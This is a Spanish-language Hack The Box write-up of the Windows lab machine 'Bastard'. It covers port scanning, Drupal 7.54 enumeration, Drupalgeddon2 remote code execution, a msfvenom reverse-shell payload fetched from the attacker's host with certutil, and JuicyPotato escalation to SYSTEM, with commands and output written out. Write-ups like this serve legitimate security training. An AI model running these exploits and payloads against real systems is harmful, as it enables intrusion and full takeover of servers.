Bastard
Hack The Box — Writeup
Bastard
| IP: | 10.129.24.164 |
| OS: | Windows |
| Dificultad: | Medium |
| Fecha: | 7 de julio de 2026 |
Reconocimiento
Escaneo inicial
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn "$target_ip" -oG allPorts
# Output
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
49154/tcp open unknown syn-ack ttl 127
Se identificaron tres puertos abiertos: el puerto 80 (HTTP), el puerto 135 (MSRPC) y el puerto 49154 (desconocido). Dado que el servicio del puerto 135 no era conocido, se investigó previamente: MSRPC (Microsoft Remote Procedure Call) es un protocolo cliente-servidor que permite a un sistema solicitar servicios a otro a través de una red.
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to Bastard | Bastard
|_http-server-header: Microsoft-IIS/7.5
135/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Hallazgo: luego de realizar el escaneo de versiones de los
servicios, se identificaron múltiples vectores de ataque potenciales
mediante banner grabbing. Como hallazgo principal se detectó que el
puerto 80 ejecuta Microsoft IIS 7.5 sirviendo una instalación de
Drupal 7, CMS con múltiples CVE críticos públicamente documentados.
Adicionalmente se identificó el método HTTP TRACE habilitado y un
archivo robots.txt accesible con 36 rutas internas del sistema,
incluyendo directorios sensibles como /includes/, /modules/ y
/scripts/.

Enumeración
Análisis del archivo robots.txt
Posteriormente se accedió directamente a la ruta /robots.txt para
identificar qué rutas y archivos se encontraban disponibles en el
servidor, con el objetivo de determinar posibles vectores de ataque.
User-agent: *
Crawl-delay: 10
# Directorios
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Archivos sensibles
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /install.php
Disallow: /update.php
Disallow: /xmlrpc.php
# Rutas administrativas
Disallow: /admin/
Disallow: /user/register/
Disallow: /user/login/
Disallow: /user/logout/
Disallow: /user/password/
Disallow: /node/add/
Disallow: /search/
Se identificaron múltiples directorios, archivos y rutas sensibles. Con
ese mapa de la estructura del sitio, se procedió a acceder a
/CHANGELOG.txt, archivo que en instalaciones de Drupal registra el
historial de versiones.
Al acceder a esa ruta se confirmó que la versión instalada es Drupal 7.54, información suficiente para preparar el ataque dirigido a este servicio.
Drupal 7.54, 2017-02-01
Investigación de CVE aplicables
Con la versión exacta identificada, se investigaron los exploits disponibles para Drupal 7.54:
# Comando ejecutado
searchsploit drupal 7
# Output relevante
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) RCE (Metasploit) | php/webapps/44557.rb
Drupal < 7.58 / < 8.3.9 - 'Drupalgeddon2' Remote Code Execution | php/webapps/44449.rb
Se identificaron dos CVE aplicables a la versión 7.54:
-
CVE-2018-7602 (Drupalgeddon3): requiere autenticación previa. Se descartó como vector principal al requerir credenciales válidas del sistema.
-
CVE-2018-7600 (Drupalgeddon2): ejecución remota de código sin autenticación. Se seleccionó como vector de explotación por ser el más directo.
Explotación
Intentos fallidos con Metasploit
Se buscó el módulo de Drupalgeddon2 en Metasploit:
msf > search drupalgeddon2
exploit/unix/webapp/drupal_drupalgeddon2 excellent
Intento fallido 1 — IP incorrecta y proxy nginx:
set RHOSTS 10.129.24.165 # IP incorrecta
run
[-] Unexpected reply: 405 Not Allowed
Server: nginx/1.14.0 (Ubuntu)
[*] Exploit completed, but no session was created.
Por qué no funcionó: la IP configurada en RHOSTS era incorrecta. Las peticiones llegaban a un proxy nginx que bloqueaba los métodos POST del exploit con un error 405 (Method Not Allowed).
Intento fallido 2 — ForceExploit con IP corregida:
set RHOSTS 10.129.24.164
set ForceExploit true
run
[+] The target is vulnerable. Detected vulnerable version 7
[-] Unexpected reply: 404 Not Found
[*] Exploit completed, but no session was created.
Por qué no funcionó: aunque el módulo confirmó que el objetivo era vulnerable, las peticiones POST del exploit recibían respuestas 404. El módulo de Metasploit no era compatible con esta configuración específica de IIS.
Explotación exitosa con exploit manual
Se utilizó el exploit en Ruby directamente desde searchsploit:
searchsploit -m php/webapps/44449.rb
gem install base64
gem install highline
ruby 44449.rb http://10.129.24.164/
[*] --==[::#Drupalggedon2::]==--
[+] Found : http://10.129.24.164/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.54
[*] Testing: Form (user/password)
[+] Result : Form valid
[*] Testing: Clean URLs
[+] Result : Clean URLs enabled
[*] Testing: Code Execution (Method: name)
[i] Payload: echo VINUMSAP
[+] Result : VINUMSAP
[+] Good News Everyone! Target seems to be exploitable (Code execution)!
[!] FAILED : Couldn't find a writeable web path
[*] Dropping back to direct OS commands
drupalgeddon2>>
Resultado: se obtuvo RCE confirmado mediante una shell interactiva limitada. El exploit no pudo escribir una webshell en disco por falta de permisos de escritura en las rutas web, pero sí permitía ejecutar comandos directamente en el servidor.
Se verificó el usuario actual y la ruta de trabajo:
drupalgeddon2>> whoami
nt authority\iusr
drupalgeddon2>> dir
Directory of C:\inetpub\drupal-7.54
[...contenido del directorio...]
Observación: la shell de drupalgeddon2 presentaba limitaciones con
caracteres especiales como > y |, lo que impidió ejecutar comandos
con redireccionamiento. Para obtener una shell completa con Meterpreter
se procedió a descargar y ejecutar un payload en la máquina objetivo.
Obtención de Meterpreter
Se generó un payload de Meterpreter con msfvenom:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.163 LPORT=4444 -f exe -o shell.exe
Payload size: 509 bytes
Final size of exe file: 7680 bytes
Saved as: shell.exe
Se levantó un servidor HTTP para servir el payload y se descargó en la
máquina objetivo mediante certutil:
drupalgeddon2>> certutil -urlcache -split -f http://10.10.15.163:8080/shell.exe shell.exe
# Log del servidor HTTP (confirmacion de descarga):
10.129.24.164 - - [07/Jul/2026 05:47:16] "GET /shell.exe HTTP/1.1" 200 -
10.129.24.164 - - [07/Jul/2026 05:47:17] "GET /shell.exe HTTP/1.1" 200 -
Con el listener activo en Metasploit se ejecutó el payload:
drupalgeddon2>> shell.exe
[*] Sending stage (248902 bytes) to 10.129.24.164
[*] Meterpreter session 1 opened (10.10.15.163:4444 -> 10.129.24.164:xxxxx)
meterpreter > getuid
Server username: NT AUTHORITY\IUSR
Obtención de la flag de usuario
meterpreter > shell
OS Name: Microsoft Windows Server 2008 R2 Datacenter
OS Version: 6.1.7600 N/A Build 7600
C:\inetpub\drupal-7.54> type C:\Users\dimitris\Desktop\user.txt
[flag de usuario obtenida]
Escalada de Privilegios
Enumeración de privilegios
C:\inetpub\drupal-7.54> whoami /priv
Privilege Name Description State
======================= ======================================== =======
SeImpersonatePrivilege Impersonate a client after authentication Enabled
Hallazgo: el privilegio SeImpersonatePrivilege se encontraba
habilitado. Este privilegio permite a un proceso impersonar el token de
seguridad de otro usuario, incluyendo NT AUTHORITY\SYSTEM. Es el
vector clásico de escalada de privilegios cuando se opera en el contexto
de un servicio web como IIS.
Selección de herramienta: dado que el sistema operativo es Windows Server 2008 R2, se seleccionó JuicyPotato como herramienta de explotación, al ser la más compatible con esta versión. PrintSpoofer y GodPotato requieren versiones más recientes del sistema operativo.
Escalada con JuicyPotato
Se generó un segundo payload en un puerto diferente y se subieron JuicyPotato y el payload a la máquina objetivo:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.163 LPORT=5555 -f exe -o shell2.exe
meterpreter > upload JuicyPotato.exe C:\\Windows\\Temp\\jp.exe
meterpreter > upload shell2.exe C:\\Windows\\Temp\\shell2.exe
Con el segundo listener activo en el puerto 5555, se ejecutó JuicyPotato con el CLSID válido para Windows Server 2008 R2:
C:\Windows\Temp\jp.exe -l 1337 -p C:\Windows\Temp\shell2.exe -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
[+] {9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
[*] Sending stage (248902 bytes) to 10.129.24.164
[*] Meterpreter session 2 opened (10.10.15.163:5555 -> 10.129.24.164:xxxxx)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Obtención de la flag root
meterpreter > shell
C:\Windows\System32> type C:\Users\Administrator\Desktop\root.txt
[flag de root obtenida]